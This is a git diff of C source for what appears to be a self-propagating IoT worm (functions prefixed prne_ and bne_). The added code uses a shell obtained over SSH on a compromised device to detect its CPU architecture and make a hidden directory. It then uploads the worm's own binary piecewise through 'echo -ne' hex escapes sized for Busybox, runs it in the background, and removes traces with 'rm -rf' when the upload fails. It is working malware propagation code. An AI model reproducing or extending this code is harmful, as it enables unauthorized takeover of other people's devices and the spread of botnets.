BNE_CMD_TERMINATOR, - strlen(BNE_CMD_TERMINATOR)); - } while (s_ctx->ib.avail > 0 && cterm == NULL); - - if (seen_v7 && seen_vfp && seen_thumb) { - ctx->result.arch = PRNE_ARCH_ARMV7; } else { - ctx->result.arch = PRNE_ARCH_ARMV4T; - } - } - else { - switch (e_data) { - case ELFDATA2LSB: - switch (e_machine) { - case EM_386: ctx->result.arch = PRNE_ARCH_I686; break; - case EM_X86_64: ctx->result.arch = PRNE_ARCH_X86_64; break; - case EM_AARCH64: ctx->result.arch = PRNE_ARCH_AARCH64; break; - case EM_MIPS: ctx->result.arch = PRNE_ARCH_MPSL; break; - case EM_SH: ctx->result.arch = PRNE_ARCH_SH4; break; - case EM_ARC: ctx->result.arch = PRNE_ARCH_ARC; break; - } - break; - case ELFDATA2MSB: - switch (e_machine) { - case EM_MIPS: ctx->result.arch = PRNE_ARCH_MIPS; break; - case EM_PPC: ctx->result.arch = PRNE_ARCH_PPC; break; - case EM_68K: ctx->result.arch = PRNE_ARCH_M68K; break; - case EM_ARC: ctx->result.arch = PRNE_ARCH_ARCEB; break; + switch (ep.e_data) { + case ELFDATA2LSB: + switch (ep.e_machine) { + case EM_386: ctx->result.arch = PRNE_ARCH_I686; break; + case EM_X86_64: ctx->result.arch = PRNE_ARCH_X86_64; break; + case EM_AARCH64: ctx->result.arch = PRNE_ARCH_AARCH64; break; + case EM_MIPS: ctx->result.arch = PRNE_ARCH_MPSL; break; + case EM_SH: ctx->result.arch = PRNE_ARCH_SH4; break; + case EM_ARC: ctx->result.arch = PRNE_ARCH_ARC; break; + } + break; + case ELFDATA2MSB: + switch (ep.e_machine) { + case EM_MIPS: ctx->result.arch = PRNE_ARCH_MIPS; break; + case EM_PPC: ctx->result.arch = PRNE_ARCH_PPC; break; + case EM_68K: ctx->result.arch = PRNE_ARCH_M68K; break; + case EM_ARC: ctx->result.arch = PRNE_ARCH_ARCEB; break; + } + break; } - break; } } ret = ctx->result.arch != PRNE_ARCH_NONE; END: // CATCH + bne_free_sh_parser(&parser); for (size_t i = 0; i < mp_cnt; i += 1) { prne_free(mp_arr[i].path); } @@ -989,12 +1076,73 @@ END: // CATCH return ret; } +static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { + ctx->result.prc = prne_start_bin_rcb( + &sh_ctx->rcb, + ctx->result.arch, + ctx->param.rcb.self, + ctx->param.rcb.m_self, + ctx->param.rcb.self_len, + ctx->param.rcb.exec_len, + ctx->param.rcb.m_dv, + ctx->param.rcb.dv_len, + ctx->param.rcb.ba); + + if (ctx->result.prc == PRNE_PACK_RC_NO_ARCH) { + // retry with compatible arch if available + switch (ctx->result.arch) { + case PRNE_ARCH_AARCH64: + case PRNE_ARCH_ARMV7: + ctx->result.arch = PRNE_ARCH_ARMV4T; + break; + case PRNE_ARCH_X86_64: + ctx->result.arch = PRNE_ARCH_I686; + break; + default: return false; + } + ctx->result.prc = prne_start_bin_rcb( + &sh_ctx->rcb, + ctx->result.arch, + ctx->param.rcb.self, + ctx->param.rcb.m_self, + ctx->param.rcb.self_len, + ctx->param.rcb.exec_len, + ctx->param.rcb.m_dv, + ctx->param.rcb.dv_len, + ctx->param.rcb.ba); + } + + return ctx->result.prc == PRNE_PACK_RC_OK; +} + /* -* mkdir "$(dir)/.prne" && -* cd "$(dir)/.prne" && -* touch "$exec_name" && -* chmod "$mode" "$exec_name" +* When upload fails */ +static bool bne_sh_cleanup_upload ( + prne_bne_t *ctx, + bne_sh_ctx_t *s_ctx) +{ + bool ret = false; + char *cmd = NULL; + const char *sb[] = { + "rm -rf \"", s_ctx->upload_dir, "\"\n" + }; + + if (s_ctx->upload_dir == NULL) { + return true; + } + + cmd = prne_build_str(sb, sizeof(sb)/sizeof(const char*)); + if (cmd == NULL) { + return false; + } + + ret = bne_sh_send(s_ctx, cmd); + prne_free(cmd); + + return bne_sh_sync(s_ctx) && ret; +} + static bool bne_sh_prep_upload ( prne_bne_t *ctx, bne_sh_ctx_t *s_ctx, @@ -1002,34 +1150,143 @@ static bool bne_sh_prep_upload ( const char *exec_name, const char *mode) { - // TODO - return false; -} + bool ret = false; + uint8_t uuid[16]; + char uuid_str[37]; + char *cmd = NULL; + const char *sb_ud[] = { dir, "/.", uuid_str }; + int ec = -1; + bne_sh_parser_t parser; -/* -* When upload fails -* rm -rf "$(dir)/.prne" -*/ -static bool bne_sh_cleanup_upload ( - prne_bne_t *ctx, - bne_sh_ctx_t *s_ctx, - const char *dir) -{ - // TODO - return false; + bne_init_sh_parser(&parser); + parser.ctx = &ec; + parser.line_f = bne_sh_int_parse_f; + + if (!prne_rnd(&ctx->rnd, uuid, 16)) { + memset(uuid, 0xAF, 16); + } + prne_uuid_tostr(uuid, uuid_str); + +//TRY + if (!bne_sh_cleanup_upload(ctx, s_ctx)) { + goto END; + } + if (!bne_sh_start_rcb(ctx, s_ctx)) { + goto END; + } + + s_ctx->upload_dir = prne_build_str( + sb_ud, + sizeof(sb_ud)/sizeof(const char **)); + if (s_ctx->upload_dir == NULL) { + goto END; + } + else { + const char *sb_cmd[] = { + "mkdir \"", s_ctx->upload_dir, "\" && " + "cd \"", s_ctx->upload_dir, "\" && " + "echo -n > \"", exec_name, "\" && " + "chmod ", mode, " \"", exec_name, "\"; " + "echo $?" + }; + + cmd = prne_build_str( + sb_cmd, + sizeof(sb_cmd)/sizeof(const char **)); + if (cmd == NULL) { + goto END; + } + } + + if (!bne_sh_runcmd_line(s_ctx, &parser, cmd)) { + goto END; + } + ret = ec == 0; + +END: + prne_free(cmd); + bne_free_sh_parser(&parser); + return bne_sh_sync(s_ctx) && ret; } -/* -* - echo -ne > "$exec" -* - echo -ne "binary" >> "$exec" -*/ static bool bne_sh_upload_echo ( prne_bne_t *ctx, bne_sh_ctx_t *s_ctx, const char *exec) { - // TODO - return false; + static const char BASE_CMD[] = "echo -ne "; + char *const cmd_buf = (char*)s_ctx->buf; + char *cmd_p; + // Busybox ash line buffer size is 1024 + uint8_t *const bin_buf = s_ctx->buf + 1025; + uint8_t *bin_p; + ssize_t f_ret; + int poll_ret = 0; + bool ret = true; + const size_t exec_len = strlen(exec); + + if (exec_len > 255) { + ctx->result.err = E2BIG; + return false; + } + + _Static_assert(sizeof(s_ctx->buf) >= 2048, "FIXME"); + strcpy(cmd_buf, BASE_CMD); + + while (ctx->result.prc != PRNE_PACK_RC_EOF) { + f_ret = prne_bin_rcb_read( + &s_ctx->rcb, + bin_buf, + 150, // 5 * 202 = 750 characters. the rest characters for file name + &ctx->result.prc, + &ctx->result.err); + if (f_ret < 0) { + break; + } + + if (f_ret > 0) { + bin_p = bin_buf; + cmd_p = cmd_buf + strlen(BASE_CMD); + for (size_t i = 0; i < (size_t)f_ret; i += 1) { + cmd_p[0] = '\\'; + cmd_p[1] = '\\'; + cmd_p[2] = 'x'; + prne_hex_tochar(*bin_p, cmd_p + 3, true); + cmd_p += 5; + bin_p += 1; + } + cmd_p[0] = ' '; + cmd_p[1] = '>'; + cmd_p[2] = '>'; + cmd_p[3] = ' '; + cmd_p += 4; + memcpy(cmd_p, exec, exec_len); + cmd_p += exec_len; + cmd_p[0] = '\n'; + cmd_p[1] = 0; + + if (!bne_sh_send(s_ctx, cmd_buf)) { + ret = false; + break; + } + + // Assume that something went wrong if there's any output at all + poll_ret = s_ctx->pollin_f(s_ctx->ctx); + if (poll_ret != 0) { + ret = false; + break; + } + } + else { + pth_yield(NULL); + } + } + + if (poll_ret > 0) { + bne_sh_sync(s_ctx); + } + + return ret; } /* @@ -1040,8 +1297,23 @@ static bool bne_sh_run_exec ( bne_sh_ctx_t *s_ctx, const char *exec) { - // TODO - return false; + const char *sb_cmd[] = { "./", exec, " & " }; + char *cmd; + bne_sh_parser_t parser; + bool ret; + + bne_init_sh_parser(&parser); + + cmd = prne_build_str(sb_cmd, sizeof(sb_cmd)/sizeof(const char*)); + if (cmd == NULL) { + ctx->result.err = errno; + return false; + } + + ret = bne_sh_runcmd_line(s_ctx, &parser, cmd); + + prne_free(cmd); + return ret; } static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { @@ -1051,9 +1323,6 @@ static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { bne_avail_cmds_t avail_cmd, cur_cmd; bool (*upload_f)(prne_bne_t *ctx, bne_sh_ctx_t *s_ctx, const char *exec); char *exec_name = NULL; - prne_bin_rcb_ctx_t rcb; - - prne_init_bin_rcb_ctx(&rcb); // TRY exec_name = ctx->param.cb.exec_name(); @@ -1066,43 +1335,6 @@ static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { goto END; } - ctx->result.prc = prne_start_bin_rcb( - &rcb, - ctx->result.arch, - ctx->param.rcb.self, - ctx->param.rcb.m_self, - ctx->param.rcb.self_len, - ctx->param.rcb.exec_len, - ctx->param.rcb.m_dv, - ctx->param.rcb.dv_len, - ctx->param.rcb.ba); - if (ctx->result.prc == PRNE_PACK_RC_NO_ARCH) { - // retry with compatible arch if available - switch (ctx->result.arch) { - case PRNE_ARCH_AARCH64: - case PRNE_ARCH_ARMV7: - ctx->result.arch = PRNE_ARCH_ARMV4T; - break; - case PRNE_ARCH_X86_64: - ctx->result.arch = PRNE_ARCH_I686; - break; - default: goto END; - } - ctx->result.prc = prne_start_bin_rcb( - &rcb, - ctx->result.arch, - ctx->param.rcb.self, - ctx->param.rcb.m_self, - ctx->param.rcb.self_len, - ctx->param.rcb.exec_len, - ctx->param.rcb.m_dv, - ctx->param.rcb.dv_len, - ctx->param.rcb.ba); - } - if (ctx->result.prc != PRNE_PACK_RC_OK) { - goto END; - } - for (prne_llist_entry_t *ent = sh_ctx->up_loc.head; ent != NULL; ent = ent->next) @@ -1132,20 +1364,24 @@ START_UPLOAD: exec_name, "700"); if (ret) { - ret = upload_f(ctx, sh_ctx, exec_name); + ret = + upload_f(ctx, sh_ctx, exec_name) && + bne_sh_run_exec(ctx, sh_ctx, exec_name); + if (ret) { - ret = bne_sh_run_exec(ctx, sh_ctx, exec_name); - if (ret) { - goto END; - } + goto END; + } + if (!bne_sh_cleanup_upload(ctx, sh_ctx)) { + goto END; } - bne_sh_cleanup_upload(ctx, sh_ctx, mp); + } + else { + goto END; } } } END: // CATCH - prne_free_bin_rcb_ctx(&rcb); prne_free(exec_name); return ret; @@ -1166,7 +1402,7 @@ static void bne_vssh_discon ( return; } - bne_reset_timer(&ev, to); + prne_pth_reset_timer(&ev, to); prne_lssh2_discon(vs->ss, vs->fd, reason, desc, "", ev); pth_event_free(ev, FALSE); } @@ -1198,7 +1434,7 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { return true; } - bne_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT); + prne_pth_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT); while (vs->ports.size > 0 && pth_event_status(ev) != PTH_STATUS_OCCURRED) { bne_port_t *p = (bne_port_t*)vs->ports.head->element; @@ -1317,7 +1553,7 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { } } - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); if (vs->auth_list == NULL) { const char *tmp = prne_lssh2_ua_list( vs->ss, @@ -1525,23 +1761,60 @@ static ssize_t bne_vssh_write_f ( pth_event_t ev) { bne_vssh_ctx_t *ctx = (bne_vssh_ctx_t*)ctx_p; - return prne_lssh2_ch_write( - ctx->ss, - ctx->ch_shell, - ctx->fd, - buf_p, - buf_size, - ev); + int f_ret; + size_t rem = buf_size; + + while (rem > 0) { + f_ret = prne_lssh2_ch_write( + ctx->ss, + ctx->ch_shell, + ctx->fd, + buf_p, + rem, + ev); + if (f_ret < 0) { + return f_ret; + } + + rem -= f_ret; + buf_p = (const uint8_t*)buf_p + f_ret; + } + + return buf_size; +} + +static int bne_vssh_pollin_f (void *ctx_p) { + bne_vssh_ctx_t *ctx = (bne_vssh_ctx_t*)ctx_p; + ssize_t f_ret; + + f_ret = libssh2_channel_read_stderr(ctx->ch_shell, NULL, 0); + if (f_ret == 0) { + return 1; + } + else if (f_ret < 0 && f_ret != LIBSSH2_ERROR_EAGAIN) { + return -1; + } + + f_ret = libssh2_channel_read(ctx->ch_shell, NULL, 0); + if (f_ret == 0) { + return 1; + } + else if (f_ret < 0 && f_ret != LIBSSH2_ERROR_EAGAIN) { + return -1; + } + + return 0; } static bool bne_vssh_do_shell (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { bne_sh_ctx_t sh_ctx; bool ret; - bne_init_sh_ctx(&sh_ctx); + bne_init_sh_ctx(&sh_ctx, &ctx->rnd); sh_ctx.ctx = vs; sh_ctx.read_f = bne_vssh_read_f; sh_ctx.write_f = bne_vssh_write_f; + sh_ctx.pollin_f = bne_vssh_pollin_f; // TODO: try exec cat command on a separate channel, write() binary directly ret = bne_do_shell(ctx, &sh_ctx); @@ -1596,7 +1869,7 @@ static bool bne_do_vec_ssh (prne_bne_t *ctx) { if (ret) { pth_event_t ev = NULL; - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); // close the channel and wait for the remote end to do the same // this ensures that the issued commands are completed prne_lssh2_close_ch( @@ -78,3 +78,13 @@ void prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast) { pth_time_t prne_pth_tstimeout (const struct timespec ts) { return pth_timeout(ts.tv_sec, ts.tv_nsec / 1000); } + +void prne_pth_reset_timer (pth_event_t *ev, const struct timespec *ts) { + pth_event_free(*ev, FALSE); + if (ts != NULL) { + *ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(*ts)); + prne_assert(*ev != NULL); + } +} @@ -38,3 +38,4 @@ int prne_pth_poll ( pth_event_t ev); void prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast); pth_time_t prne_pth_tstimeout (const struct timespec ts); +void prne_pth_reset_timer (pth_event_t *ev, const struct timespec *ts); diff --git a/src/util_rt.c b/src/util_rt.c index d3aa132..11fb9f0 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -242,6 +242,33 @@ char *prne_strnstr ( return NULL; } +char *prne_build_str ( + const char **const arr, + const size_t cnt) +{ + char *ret, *p; + size_t len; + + len = 0; + for (size_t i = 0; i < cnt; i += 1) { + len += prne_nstrlen(arr[i]); + } + ret = prne_alloc_str(len); + if (ret == NULL) { + return NULL; + } + + p = ret; + for (size_t i = 0; i < cnt; i += 1) { + len = prne_nstrlen(arr[i]); + memcpy(p, arr[i], len); + p += len; + } + *p = 0; + + return ret; +} + bool prne_hex_fromstr (const char *str, uint_fast8_t *out) { static const uint_fast8_t shift[2] = { 4, 0 }; size_t i; diff --git a/src/util_rt.h b/src/util_rt.h index 726cf98..c2d81be 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -48,6 +48,7 @@ char *prne_strnstr ( size_t hs_len, const char *const needle, const size_t n_len); +char *prne_build_str (const char **const arr, const size_t cnt); bool prne_hex_fromstr (const char *str, uint_fast8_t *out); void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper); |